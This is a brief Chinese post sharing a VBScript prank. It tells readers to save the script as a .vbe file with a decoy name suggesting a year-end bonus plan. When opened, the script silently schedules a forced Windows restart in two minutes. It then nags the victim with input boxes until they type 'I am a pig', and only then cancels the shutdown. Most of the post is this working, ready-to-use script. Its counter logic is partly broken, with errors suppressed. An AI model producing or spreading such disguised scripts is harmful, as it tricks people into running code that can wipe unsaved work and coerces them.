原创 08年终奖分配方案.vbe

捉弄人的小玩意,把以下文字复制到记事本,另存为.vbe格式

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说'我是猪'，不说我是猪就一分钟后关你机，不信，试试···"" ",0 ,true
dim a
dim b
do while(a <> "我是猪")
a = inputbox ("说'我是猪',就不关你的机了，快撒，说 ""我是猪""　","说不说","不说",7000,7000)

if a<>"我是猪" then
   b="b"+1
   if a="" then
       msgbox  chr(13) + chr(13) +  chr(13) +  chr(13) +  chr(13) + chr(13) +  chr(13) +"取消是解决不了问题的，啊哈哈！"
   else
      if b="5" or b="10" or b="15" then
       msgbox chr(13) + chr(13) +  chr(13) +  chr(13) +  chr(13) + chr(13) +  chr(13) +"还不说?时间已经不多啦。。可别怪我心狠手辣！",0,"MsgBox"
      else
       msgbox chr(13) + chr(13) +  chr(13) +  chr(13) +  chr(13) + chr(13) +  chr(13) +"还不说?",0,"MsgBox"
end if
   end if
else
   msgbox chr(13) + chr(13) +  chr(13) +  chr(13) +  chr(13) + chr(13) +  chr(13) +"早说不就完了嘛，哈哈。。。真过瘾"
end if

loop

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
'msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾!"